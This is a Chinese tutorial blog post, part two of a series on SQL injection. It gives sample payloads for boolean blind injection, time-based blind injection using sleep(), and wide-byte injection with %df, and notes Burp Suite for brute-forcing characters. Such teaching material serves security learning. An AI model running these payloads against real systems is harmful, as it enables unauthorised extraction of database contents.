真传一句话系列之sql注入(下)

  在这里呢,先给大家说一声抱歉,最近因为一些事情有点忙,耽误了更新,今天继续

免责声明,本人文章仅限于技术交流,不得用于其他用途!!!

盲注

有回显

对于有结果的不二盲注,通过true与false来判断

payload:

猜长度 vince' and length(database())=1#

一个字母一个字母的猜 vince' and ascii(substr(database(),1,1))=112#

猜长度与密码

vince' and ascii(substr(database(),1,1))=112#

使用bp在加粗加斜线的两个位置添加变量

无回显

对于无回显的,一般采用时间盲注

根据页面响应的时间,来判断输入的信息是否正确

payload:

  1. xx' and if(ascii(substr((select database()),1,1))=97, sleep(5), 1) --

  2. xx' and if(ascii(substr((select user()),1,1))=97, sleep(5), 1) --

宽字节注入

原理就是通过一些函数进行对于字符的转义,但是这些转义特殊字符的机制一旦被利用,就i可以构成宽字节注入

payload:

?id=100%df' union select 1,database(),3 --+

这种的payload

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值